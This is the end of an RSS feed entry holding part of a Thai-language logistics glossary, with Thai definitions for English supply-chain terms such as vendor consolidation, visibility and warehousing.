<p><strong><span style="color: #ff6600;"> </span></strong><strong><span style="color: #ff6600;">Vendor consolidation</span></strong> การรวบรวมสินค้าจากผู้ค้า กระบวนการบริหารผู้ค้าหลายรายเพื่อรวบรวมสินค้าที่บรรทุกแบบเต็มคันรถจากหลายแหล่งเพ ื่อดำเนินการขนส่งในครั้งเดียวเพื่อลดค่าใช้จ่ายและเพิ่มประสิทธิภาพในการขนส่ง</p>
<p><strong><span style="color: #ff6600;">Vendors</span></strong></p>
<p>ผู้ค้า ผู้ค้าสินค้าและบริการ</p>
<p><strong><span style="color: #ff6600;">Visibility</span></strong></p>
<p>ความสามารถในการติดตามสถานะการขนส่งได้อย่างโปร่งใส ความสามารถในการติดตามและรับทราบข้อมูลเกี่ยวกับกระบวนการบริหารจัดการซัพพลายเชนได้ โดยละเอียด อย่างทันท่วงที ในขณะที่ดำเนินการหรือใกล้เคียงกับเวลาที่ดำเนินการ</p>
<p><strong><span style="color: #ff6600;">Warehouse/warehousing</span></strong></p>
<p>คลังจัดเก็บสินค้า</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kascoit.com/index.php/2010/01/09/logistics-glossary/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

